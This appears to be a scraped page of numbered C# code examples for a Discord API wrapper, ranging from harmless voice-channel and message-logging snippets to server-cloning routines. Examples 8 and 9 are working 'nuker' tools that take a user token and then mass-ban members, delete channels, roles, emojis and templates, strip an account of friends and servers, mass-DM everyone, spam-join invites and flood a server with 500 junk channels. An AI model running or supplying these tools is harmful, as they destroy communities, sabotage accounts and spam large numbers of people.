Beispiel #1
0
        private static bool Connect(DiscordSocketClient client)
        {
            lock (ChannelLookupLock)
            {
                var guild = client.GetCachedGuild(Invite.Guild.Id);

                foreach (var ch in guild.Channels.Where(c => c.Type == ChannelType.Voice && !BotAccounts.Any(a =>
                {
                    var voiceClient = a.GetVoiceClient(Invite.Guild.Id);
                    return(voiceClient.Channel != null && voiceClient.Channel.Id == c.Id);
                })).OrderBy(c => GetParticipantCount(client, c.Id)).Reverse())
                {
                    var voiceChannel = (VoiceChannel)ch;

                    var perms = guild.ClientMember.GetPermissions(voiceChannel.PermissionOverwrites);

                    if (perms.Has(DiscordPermission.ViewChannel) && perms.Has(DiscordPermission.ConnectToVC) && perms.Has(DiscordPermission.SpeakInVC))
                    {
                        int voiceStates = GetParticipantCount(client, voiceChannel.Id);
                        if (voiceStates > 0 && (voiceChannel.UserLimit == 0 || voiceStates < voiceChannel.UserLimit))
                        {
                            Console.WriteLine(client.User.ToString() + " has found the channel " + voiceChannel.Id);
                            client.GetVoiceClient(Invite.Guild.Id).Connect(voiceChannel.Id, new VoiceConnectionProperties()
                            {
                                Muted = true
                            });
                            return(true);
                        }
                    }
                }
            }

            return(false);
        }
Beispiel #2
0
        public async void BroadcastToAsync(GuildInfo guild)
        {
            await Task.Run(() =>
            {
                _currentGuild = guild;

                try
                {
                    SocketGuild socketGuild = _client.GetCachedGuild(guild.Id);

                    Console.WriteLine($"[{_client.User}] Already in guild {guild.Id}. Processing...");

                    BeginBroadcast(socketGuild);
                }
                catch (DiscordHttpException ex)
                {
                    if (ex.Code == DiscordError.UnknownGuild)
                    {
                        _client.JoinGuild(guild.Invite);
                    }
                    else
                    {
                        throw;
                    }
                }
            });
        }
Beispiel #3
0
        private static void OnMessageReceived(DiscordSocketClient client, MessageEventArgs args)
        {
            string from;

            DiscordChannel channel = client.GetChannel(args.Message.Channel.Id);

            if (channel.InGuild)
            {
                from = $"#{channel.Name} / {client.GetCachedGuild(((TextChannel)channel).Guild.Id).Name}";
            }
            else
            {
                var privChannel = (PrivateChannel)channel;
                from = privChannel.Name ?? privChannel.Recipients[0].ToString();
            }

            Console.WriteLine($"[{from}] {args.Message.Author}: {args.Message.Content}");
        }
Beispiel #4
0
        private static void OnMessageReceived(DiscordSocketClient client, MessageEventArgs args)
        {
            string from;

            DiscordChannel channel = client.GetChannel(args.Message.Channel.Id);

            if (channel.Type == ChannelType.Text)
            {
                from = $"#{channel.Name} / {client.GetCachedGuild(((TextChannel)channel).Guild.Id).Name}";
            }
            else if (channel.Type == ChannelType.Group)
            {
                from = channel.Name;
            }
            else
            {
                from = ((PrivateChannel)channel).Recipients[0].Username;
            }

            Console.WriteLine($"[{from}] {args.Message.Author}: {args.Message.Content}");
        }
Beispiel #5
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Server (ID) to copy from: ");

            SocketGuild guild = client.GetCachedGuild(ulong.Parse(Console.ReadLine())); // u could also just grab from args.Guilds, but i prefer this method bcuz we can be sure that the info is up to date

            guild.Channels.OrderBy(c => c.Type != ChannelType.Category);

            Console.WriteLine("Duplicating guild...");
            DiscordGuild ourGuild = client.CreateGuild(guild.Name, guild.Icon.Hash == null ? null : guild.Icon.Download(), guild.Region);

            ourGuild.Modify(new GuildProperties()
            {
                DefaultNotifications = guild.DefaultNotifications, VerificationLevel = guild.VerificationLevel
            });

            Console.WriteLine("Duplicating roles...");
            Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();

            foreach (var role in guild.Roles.OrderBy(r => r.Position).Reverse())
            {
                dupedRoles.Add(role.Id, ourGuild.CreateRole(new RoleProperties()
                {
                    Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = new DiscordEditablePermissions(role.Permissions), Seperated = role.Seperated
                }).Id);
            }

            Console.WriteLine("Duplicating emojis...");
            foreach (var emoji in guild.Emojis)
            {
                try
                {
                    ourGuild.CreateEmoji(new EmojiProperties()
                    {
                        Name = emoji.Name, Image = emoji.Icon.Download()
                    });
                }
                catch (InvalidParametersException)
                {
                    // verified/partnered/lvl 3 boosted servers can have bigger emojis than allowed here
                }
                catch (DiscordHttpException ex)
                {
                    if (ex.Code == DiscordError.MaximumEmojis)
                    {
                        break;
                    }
                    else
                    {
                        throw;
                    }
                }
            }

            Console.WriteLine("Removing default channels...");
            foreach (var channel in ourGuild.GetChannels())
            {
                channel.Delete();
            }

            Console.WriteLine("Duplicating channels...");
            Dictionary <ulong, ulong> dupedCategories = new Dictionary <ulong, ulong>();

            foreach (var channel in guild.Channels.OrderBy(c => c.Type != ChannelType.Category))
            {
                var ourChannel = ourGuild.CreateChannel(channel.Name, channel.Type == ChannelType.News || channel.Type == ChannelType.Store ? ChannelType.Text : channel.Type, channel.ParentId.HasValue ? dupedCategories[channel.ParentId.Value] : (ulong?)null);
                ourChannel.Modify(new GuildChannelProperties()
                {
                    Position = channel.Position
                });

                if (ourChannel.Type == ChannelType.Text)
                {
                    var channelAsText = channel.ToTextChannel();

                    ourChannel.ToTextChannel().Modify(new TextChannelProperties()
                    {
                        Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                    });
                }
                else if (ourChannel.Type == ChannelType.Voice)
                {
                    var channelAsVoice = channel.ToVoiceChannel();

                    ourChannel.ToVoiceChannel().Modify(new VoiceChannelProperties()
                    {
                        Bitrate = Math.Max(96000, channelAsVoice.Bitrate), UserLimit = channelAsVoice.UserLimit
                    });
                }

                foreach (var overwrite in channel.PermissionOverwrites)
                {
                    if (overwrite.Type == PermissionOverwriteType.Role)
                    {
                        ourChannel.AddPermissionOverwrite(new DiscordPermissionOverwrite()
                        {
                            Id = dupedRoles[overwrite.Id], Type = PermissionOverwriteType.Role, Allow = overwrite.Allow, Deny = overwrite.Deny
                        });
                    }
                }

                if (ourChannel.Type == ChannelType.Category)
                {
                    dupedCategories.Add(channel.Id, ourChannel.Id);
                }
            }

            Console.WriteLine("Done");
        }
Beispiel #6
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Server (ID) to copy from: ");

            SocketGuild guild = client.GetCachedGuild(ulong.Parse(Console.ReadLine())); // u could also just grab from args.Guilds, but i prefer this method bcuz we can be sure that the info is up to date

            Console.WriteLine("Duplicating guild...");
            DiscordGuild ourGuild = client.CreateGuild(guild.Name, guild.Icon == null ? null : guild.Icon.Download(), guild.Region);

            ourGuild.Modify(new GuildProperties()
            {
                DefaultNotifications = guild.DefaultNotifications, VerificationLevel = guild.VerificationLevel
            });

            Console.WriteLine("Duplicating roles...");
            Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();

            foreach (var role in guild.Roles.OrderBy(r => r.Position).Reverse())
            {
                dupedRoles.Add(role.Id, ourGuild.CreateRole(new RoleProperties()
                {
                    Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                }).Id);
            }

            Console.WriteLine("Duplicating emojis...");
            foreach (var emoji in guild.Emojis)
            {
                try
                {
                    ourGuild.CreateEmoji(new EmojiProperties()
                    {
                        Name = emoji.Name, Image = emoji.Icon.Download()
                    });
                }
                catch (DiscordHttpException ex)
                {
                    if (ex.Code == DiscordError.InvalidFormBody) // This is used whenever discord wants to give us parameter-specific errors
                    {
                        foreach (var param in ex.InvalidParameters)
                        {
                            foreach (var err in param.Value)
                            {
                                if (err.Code != "BINARY_TYPE_MAX_SIZE") // Bigger servers can have emojis with bigger file sizes, so let's just ignore these errors
                                {
                                    Console.WriteLine($"Error in {param.Key}. Reason: {err.Message}");
                                }
                            }
                        }
                    }
                    else if (ex.Code == DiscordError.MaximumEmojis)
                    {
                        break;
                    }
                    else
                    {
                        throw;
                    }
                }
            }

            Console.WriteLine("Removing default channels...");
            foreach (var channel in ourGuild.GetChannels())
            {
                channel.Delete();
            }

            Console.WriteLine("Duplicating channels...");
            Dictionary <ulong, ulong> dupedCategories = new Dictionary <ulong, ulong>();

            foreach (var channel in guild.Channels.OrderBy(c => c.Type != ChannelType.Category))
            {
                var ourChannel = ourGuild.CreateChannel(channel.Name, channel.IsText ? ChannelType.Text : channel.Type, channel.ParentId.HasValue ? dupedCategories[channel.ParentId.Value] : (ulong?)null);
                ourChannel.Modify(new GuildChannelProperties()
                {
                    Position = channel.Position
                });

                if (ourChannel.Type == ChannelType.Text)
                {
                    var channelAsText = (TextChannel)channel;

                    ((TextChannel)ourChannel).Modify(new TextChannelProperties()
                    {
                        Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                    });
                }
                else if (ourChannel.Type == ChannelType.Voice)
                {
                    var channelAsVoice = (VoiceChannel)channel;

                    ((VoiceChannel)ourChannel).Modify(new VoiceChannelProperties()
                    {
                        Bitrate = Math.Max(96000, channelAsVoice.Bitrate), UserLimit = channelAsVoice.UserLimit
                    });
                }

                foreach (var overwrite in channel.PermissionOverwrites)
                {
                    if (overwrite.Type == PermissionOverwriteType.Role)
                    {
                        ourChannel.AddPermissionOverwrite(dupedRoles[overwrite.AffectedId], PermissionOverwriteType.Role, overwrite.Allow, overwrite.Deny);
                    }
                }

                if (ourChannel.Type == ChannelType.Category)
                {
                    dupedCategories.Add(channel.Id, ourChannel.Id);
                }
            }

            Console.WriteLine("Done");
        }
Beispiel #7
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Guild ID: ");
            ulong guildId = ulong.Parse(Console.ReadLine());

            try
            {
                var targetGuild = client.GetCachedGuild(guildId);

                Console.WriteLine("Creating guild...");
                var guild = client.CreateGuild(targetGuild.Name, targetGuild.Icon == null ? null : targetGuild.Icon.Download(), targetGuild.Region);

                Console.WriteLine("Creating roles...");
                Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();
                foreach (var role in targetGuild.Roles.OrderBy(r => r.Position).Reverse())
                {
                    var properties = new RoleProperties()
                    {
                        Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                    };

                    if (role.Name == "@everyone")
                    {
                        dupedRoles[role.Id] = guild.EveryoneRole.Modify(properties).Id;
                    }
                    else
                    {
                        dupedRoles[role.Id] = guild.CreateRole(new RoleProperties()
                        {
                            Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                        }).Id;
                    }
                }

                Console.WriteLine("Creating emojis...");
                var dupedEmojis = new Dictionary <ulong, ulong>();
                foreach (var emoji in targetGuild.Emojis)
                {
                    try
                    {
                        var created = guild.CreateEmoji(new EmojiProperties()
                        {
                            Name = emoji.Name, Image = emoji.Icon.Download()
                        });
                        dupedEmojis[emoji.Id.Value] = created.Id.Value;
                    }
                    catch (DiscordHttpException ex)
                    {
                        if (ex.Code == DiscordError.InvalidFormBody || ex.Code == DiscordError.MaximumEmojis)
                        {
                            break;
                        }
                        else if (ex.Code != DiscordError.InvalidFormBody)
                        {
                            throw;
                        }
                    }
                    catch (RateLimitException)
                    {
                        break; // Discord likes to throw this after us after duping most of a guild's emojis, and it's so big that we might as well stop trying.
                    }
                }

                Console.WriteLine("Removing default channels...");
                foreach (var channel in guild.GetChannels())
                {
                    channel.Delete();
                }

                Console.WriteLine("Creating channels...");
                Dictionary <ulong, ulong> dupedChannels = new Dictionary <ulong, ulong>();
                foreach (var channel in targetGuild.Channels.OrderBy(c => c.Type != ChannelType.Category))
                {
                    var ourChannel = guild.CreateChannel(channel.Name, TranslateChannelType(channel), channel.ParentId.HasValue ? dupedChannels[channel.ParentId.Value] : (ulong?)null);
                    ourChannel.Modify(new GuildChannelProperties()
                    {
                        Position = channel.Position
                    });

                    if (ourChannel.Type == ChannelType.Text)
                    {
                        var channelAsText = (TextChannel)channel;
                        ((TextChannel)ourChannel).Modify(new TextChannelProperties()
                        {
                            Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                        });
                    }
                    else if (ourChannel.Type == ChannelType.Voice)
                    {
                        var channelAsVoice = (VoiceChannel)channel;
                        ((VoiceChannel)ourChannel).Modify(new VoiceChannelProperties()
                        {
                            Bitrate = Math.Min(96000, channelAsVoice.Bitrate), UserLimit = Math.Min(99, channelAsVoice.UserLimit)
                        });
                    }

                    foreach (var overwrite in channel.PermissionOverwrites)
                    {
                        if (overwrite.Type == PermissionOverwriteType.Role)
                        {
                            ourChannel.AddPermissionOverwrite(dupedRoles[overwrite.AffectedId], PermissionOverwriteType.Role, overwrite.Allow, overwrite.Deny);
                        }
                    }

                    dupedChannels[channel.Id] = ourChannel.Id;
                }

                bool hasWelcomeScreen    = TryGetWelcomeScreen(targetGuild, out var welcomeScreen);
                bool hasVerificationForm = TryGetVerificationForm(targetGuild, out var verificationForm);

                if (hasWelcomeScreen || hasVerificationForm)
                {
                    Console.WriteLine("Enabling Community...");

                    guild.Modify(new GuildProperties()
                    {
                        DefaultNotifications = GuildDefaultNotifications.OnlyMentions,
                        VerificationLevel    = GuildVerificationLevel.Low,
                        Features             = new List <string>()
                        {
                            "COMMUNITY", "WELCOME_SCREEN_ENABLED"
                        },
                        PublicUpdatesChannelId = dupedChannels[targetGuild.PublicUpdatesChannel.Id],
                        RulesChannelId         = dupedChannels[targetGuild.RulesChannel.Id],
                        Description            = targetGuild.Description,
                        ExplicitContentFilter  = ExplicitContentFilter.KeepMeSafe
                    });

                    if (hasWelcomeScreen)
                    {
                        List <WelcomeChannelProperties> channels = new List <WelcomeChannelProperties>();

                        foreach (var channel in welcomeScreen.Channels)
                        {
                            ulong?emojiId = null;

                            if (channel.EmojiId.HasValue)
                            {
                                if (dupedEmojis.TryGetValue(channel.EmojiId.Value, out ulong emId))
                                {
                                    emojiId = emId;
                                }
                                else
                                {
                                    continue;  // this relates to discord's ratelimit issue
                                }
                            }

                            channels.Add(new WelcomeChannelProperties()
                            {
                                ChannelId   = dupedChannels[channel.Channel.Id],
                                Description = channel.Description,
                                EmojiId     = emojiId,
                                EmojiName   = channel.EmojiName
                            });
                        }

                        guild.ModifyWelcomeScreen(new WelcomeScreenProperties()
                        {
                            Enabled = true, Description = welcomeScreen.Description, Channels = channels
                        });
                    }

                    if (hasVerificationForm)
                    {
                        // this doesnt work for some reason
                        guild.ModifyVerificationForm(new VerificationFormProperties()
                        {
                            Description = verificationForm.Description,
                            Enabled     = true,
                            Fields      = verificationForm.Fields.ToList()
                        });
                    }

                    Console.WriteLine("Updating news channels...");
                    foreach (var channel in targetGuild.Channels)
                    {
                        if (channel.Type == ChannelType.News)
                        {
                            client.ModifyGuildChannel(dupedChannels[channel.Id], new TextChannelProperties()
                            {
                                News = true
                            });
                        }
                    }
                }

                Console.WriteLine("Done!");
            }
            catch (DiscordHttpException ex)
            {
                if (ex.Code == DiscordError.UnknownGuild)
                {
                    Console.WriteLine("You are not in this guild");
                }
                else
                {
                    Console.WriteLine(ex.ToString());
                }
            }
        }
Beispiel #8
0
        static void Main(string[] args)
        {
            string title = "Accountnuke | " + Environment.UserName;

            Console.Title           = (title);
            Console.ForegroundColor = Color.DeepPink;
            Console.WriteLine(@"
            ███╗   ██╗██╗   ██╗██╗  ██╗███████╗
            ████╗  ██║██║   ██║██║ ██╔╝██╔════╝
            ██╔██╗ ██║██║   ██║█████╔╝ █████╗  
            ██║╚██╗██║██║   ██║██╔═██╗ ██╔══╝  
            ██║ ╚████║╚██████╔╝██║  ██╗███████╗
            ╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝
                         type help
            ");
            Console.ForegroundColor = Color.MediumPurple;

            Console.WriteLine("");
            Console.Write("> token: ");
            string token = Console.ReadLine();

            Console.WriteLine("");
            Console.Write("> token set as [" + token + "]");
            Console.WriteLine("");
            Console.Title = (title + " | " + token);
            DiscordClient client = new DiscordClient(token);

            for (int i = 0; i == 0;)
            {
                Console.WriteLine("");
                Console.Write("> ");
                string command = Console.ReadLine();

                switch (command)
                {
                case "info":
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    Console.WriteLine("> user            | " + client.User.ToString());
                    Console.WriteLine("> userid          | " + client.User.Id);
                    Console.WriteLine("> user created at | " + client.User.CreatedAt);
                    Console.WriteLine("> email           | " + client.User.Email);

                    if (client.User.EmailVerified)
                    {
                        Console.WriteLine("> email verified  | Yes");
                    }
                    else
                    {
                        Console.WriteLine("> email Verified  | No");
                    }

                    if (client.User.TwoFactorAuth)
                    {
                        Console.WriteLine("> 2fa             | Yes");
                    }
                    else
                    {
                        Console.WriteLine("> 2fa             | No");
                    }

                    Console.WriteLine("> user type       | " + client.User.Type);
                    Console.WriteLine("> badge           | " + client.User.PublicBadges.ToString());
                    Console.WriteLine("> lang            | " + client.User.Language.ToString());
                    Console.WriteLine("> avatar url      | " + client.User.Avatar.Url);
                    int x = 0;
                    int y = 0;
                    foreach (var guild in client.GetGuilds())
                    {
                        y++;
                    }
                    foreach (var relationship in client.GetRelationships())
                    {
                        y++;
                    }
                    Console.WriteLine("> guilds          | " + x);
                    Console.WriteLine("> friends         | " + y);
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "user":
                    Console.WriteLine("");
                    client.User.ChangeSettings(new UserSettingsProperties()
                    {
                        Theme = DiscordTheme.Light
                    });
                    Console.WriteLine("> set theme to light");
                    client.User.ChangeSettings(new UserSettingsProperties()
                    {
                        Language = DiscordLanguage.Russian
                    });
                    Console.WriteLine("> set language to russian");
                    Console.WriteLine("");
                    foreach (var relationship in client.GetRelationships())
                    {
                        try
                        {
                            if (relationship.Type == RelationshipType.Friends)
                            {
                                relationship.Remove();
                            }
                            Console.WriteLine($"> removed friend " + relationship.User.ToString());

                            if (relationship.Type == RelationshipType.IncomingRequest)
                            {
                                relationship.Remove();
                            }
                            Console.WriteLine("> removed incoming");

                            if (relationship.Type == RelationshipType.OutgoingRequest)
                            {
                                relationship.Remove();
                            }
                            Console.WriteLine("> removed outcoming");

                            if (relationship.Type == RelationshipType.Blocked)
                            {
                                relationship.Remove();
                            }
                            Console.WriteLine("> removed blocked");
                        }
                        catch { }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> friends removed");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    foreach (var dm in client.GetPrivateChannels())
                    {
                        try
                        {
                            dm.Delete();
                            Console.WriteLine($"dm {dm.Id} with {dm.Recipients.Count} user/s closed");
                        }
                        catch { }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> dms closed");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    foreach (var guild in client.GetGuilds())
                    {
                        try
                        {
                            if (guild.Owner)
                            {
                                guild.Delete();
                            }

                            else
                            {
                                guild.Leave();
                            }
                            Console.WriteLine($"> left {guild}");

                            Thread.Sleep(100);
                        }
                        catch { }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> left guilds");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");
                    Console.Write("> status: ");

                    string status = Console.ReadLine();
                    try
                    {
                        client.User.ChangeSettings(new UserSettingsProperties()
                        {
                            CustomStatus = new CustomStatus()
                            {
                                Text = status
                            }
                        });
                        Console.WriteLine("> set status to " + status);
                        Console.WriteLine("");
                    }
                    catch { }

                    Console.WriteLine("> also f**k massguild lol");
                    break;

                case "server":

                    DiscordSocketClient NukerClient = new DiscordSocketClient();
                    NukerClient.Login(token);

                    Console.WriteLine("");
                    Console.Write("> serverid: ");

                    ulong        serverid     = Convert.ToUInt64(Console.ReadLine());
                    DiscordGuild server       = NukerClient.GetGuild(serverid);
                    SocketGuild  socketserver = NukerClient.GetCachedGuild(serverid);

                    Console.WriteLine("");

                    foreach (var user in socketserver.GetMembers())
                    {
                        if (user.User.Id != NukerClient.User.Id)
                        {
                            try
                            {
                                user.Ban();
                                Console.WriteLine("> banned " + user.User.ToString());
                            }
                            catch
                            { }
                        }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> members banned");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    var templates = server.GetTemplates();

                    if (templates.Any())
                    {
                        string code = templates.First().Code;
                        server.DeleteTemplate(code);
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> template deleted");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    foreach (var channel in server.GetChannels())
                    {
                        try
                        {
                            channel.Delete();
                            Console.WriteLine("> deleted " + channel.Name);
                        }
                        catch
                        { }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> channels deleted");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    foreach (var role in server.GetRoles())
                    {
                        if (role.Id != serverid)
                        {
                            try
                            {
                                role.Delete();
                                Console.WriteLine("> deleted " + role.Name);
                            }
                            catch
                            { }
                        }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> roles deleted");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");

                    foreach (var emoji in server.Emojis)
                    {
                        emoji.Delete();
                        Console.WriteLine("> deleted " + emoji.Name);
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> emojis removed");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");
                    Console.Write("> icon url: ");

                    string iconurl = Console.ReadLine();

                    if (!File.Exists("icon.png"))
                    {
                        using (var webclient = new WebClient())
                        {
                            webclient.DownloadFile(iconurl, "icon.png");
                            webclient.Dispose();
                        }
                    }

                    try
                    {
                        server.Modify(new GuildProperties()
                        {
                            Icon = Image.FromFile(@"icon.png")
                        });
                    }
                    catch
                    { }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> icon changed");
                    Console.ForegroundColor = Color.MediumPurple;
                    Console.WriteLine("");
                    Console.Write("> name: ");

                    string name = Console.ReadLine();

                    try
                    {
                        server.Modify(new GuildProperties()
                        {
                            Name = name
                        });
                    }
                    catch
                    { }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> name changed");
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "dmall":
                    Console.WriteLine("");
                    Console.Write("> enter message: ");
                    string text = Console.ReadLine();

                    DiscordSocketClient dmall = new DiscordSocketClient();
                    dmall.Login(token);

                    foreach (var guild in dmall.GetCachedGuilds())
                    {
                        foreach (var member in guild.GetMembers())
                        {
                            if (member.User.Id != dmall.User.Id)
                            {
                                dmall.CreateDM(member.User.Id);
                            }
                        }

                        foreach (var channel in dmall.GetPrivateChannels())
                        {
                            if (channel.Type == ChannelType.DM)
                            {
                                dmall.SendMessage(channel.Id, text, false);
                                Console.WriteLine("sent to " + String.Join(" ", channel.Recipients));
                            }
                        }
                    }

                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("> sent dm to everyone");
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "blink":
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    for (int b = 0; b == 0;)
                    {
                        client.User.ChangeSettings(new UserSettingsProperties()
                        {
                            Theme = DiscordTheme.Light
                        });
                        Console.WriteLine("> set theme to light");
                        client.User.ChangeSettings(new UserSettingsProperties()
                        {
                            Language = DiscordLanguage.Russian
                        });
                        Console.WriteLine("> set language to russian");
                        client.User.ChangeSettings(new UserSettingsProperties()
                        {
                            Theme = DiscordTheme.Dark
                        });
                        Console.WriteLine("> set theme to dark");
                        client.User.ChangeSettings(new UserSettingsProperties()
                        {
                            Language = DiscordLanguage.Chinese
                        });
                        Console.WriteLine("> set language to chinese");
                    }
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "joinspam":
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    Console.Write("> amount: ");
                    string amount = Console.ReadLine();
                    Console.Write("> invite: ");
                    string inv = Console.ReadLine();
                    int    z   = Convert.ToInt32(amount);
                    for (int k = 0; i < z; k++)
                    {
                        GuildInvite invite = client.JoinGuild(inv);
                        invite.Guild.Leave();
                    }
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "help":
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    Console.WriteLine("> info     | token info");
                    Console.WriteLine("> user     | nuke usertoken");
                    Console.WriteLine("> server   | nuke server ");
                    Console.WriteLine("> dmall    | dm everyone available");
                    Console.WriteLine("> blink    | spams random language / theme options");
                    Console.WriteLine("> joinspam | self explanatory");
                    Console.WriteLine("> help     | help screen");
                    Console.WriteLine("> credits  | credits");
                    Console.WriteLine("> exit     | closes the app");
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "credits":
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    Console.WriteLine("> ilinked | anarchy wrapper");
                    Console.WriteLine("> stanley | account ruiner");
                    Console.WriteLine("> mb      | server nuker");
                    Console.WriteLine("> hellsec | console idea");
                    Console.ForegroundColor = Color.MediumPurple;
                    break;

                case "exit":
                    Console.WriteLine("");
                    Environment.Exit(0);
                    break;

                default:
                    Console.ForegroundColor = Color.DeepPink;
                    Console.WriteLine("");
                    Console.WriteLine("> command not found");
                    Console.ForegroundColor = Color.MediumPurple;
                    break;
                }
            }
        }
Beispiel #9
0
        public static void Main()
        {
            DiscordSocketClient client = new DiscordSocketClient();

            Console.Write("Token : ");
            client.Login(Console.ReadLine());
            Console.Write("Server ID : ");
            ulong        uint64      = Convert.ToUInt64(Console.ReadLine());
            DiscordGuild guild1      = client.GetGuild(uint64);
            SocketGuild  cachedGuild = client.GetCachedGuild(uint64);
            MinimalGuild guild2      = (MinimalGuild)client.GetGuild(uint64);

            Console.WriteLine("Banning everyone");
            foreach (GuildMember member in (IEnumerable <GuildMember>)cachedGuild.GetMembers())
            {
                if ((long)member.User.Id != (long)client.User.Id)
                {
                    try
                    {
                        member.Ban();
                        Console.WriteLine("Banned " + member.User.ToString());
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            Console.WriteLine("Deleting template");
            IReadOnlyList <DiscordGuildTemplate> templates = guild1.GetTemplates();

            if (templates.Any <DiscordGuildTemplate>())
            {
                string code = templates.First <DiscordGuildTemplate>().Code;
                guild1.DeleteTemplate(code);
            }
            Console.WriteLine("Deleting channels");
            foreach (GuildChannel channel in (IEnumerable <GuildChannel>)guild1.GetChannels())
            {
                try
                {
                    channel.Delete();
                    Console.WriteLine("Deleted " + channel.Name);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
            }
            Console.WriteLine("Deleting roles");
            foreach (DiscordRole role in (IEnumerable <DiscordRole>)guild1.GetRoles())
            {
                if ((long)role.Id != (long)uint64)
                {
                    try
                    {
                        role.Delete();
                        Console.WriteLine("Deleted " + role.Name);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            Console.WriteLine("Deleting emojis");
            foreach (DiscordEmoji emoji in (IEnumerable <DiscordEmoji>)guild1.Emojis)
            {
                emoji.Delete();
            }
            Console.WriteLine("Changing icon");
            if (!System.IO.File.Exists("mb.png"))
            {
                using (WebClient webClient = new WebClient())
                    webClient.DownloadFile("https://cdn.discordapp.com/attachments/782063573597290507/782689409824587857/292c45833bb8d2ee219c44bada5ef6a1.png", "mb.png");
            }
            try
            {
                guild1.Modify(new GuildProperties()
                {
                    Icon = (DiscordImage)Image.FromFile("mb.png")
                });
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.WriteLine("Changing name");
            try
            {
                guild1.Modify(new GuildProperties()
                {
                    Name = "SDOT AND RDOT"
                });
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.WriteLine("Creating channels");
            for (int index = 1; index < 500; ++index)
            {
                try
                {
                    guild1.CreateChannel("SKIDSW", ChannelType.Text);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
            }
            Console.WriteLine("Done!");
            Thread.Sleep(-1);
        }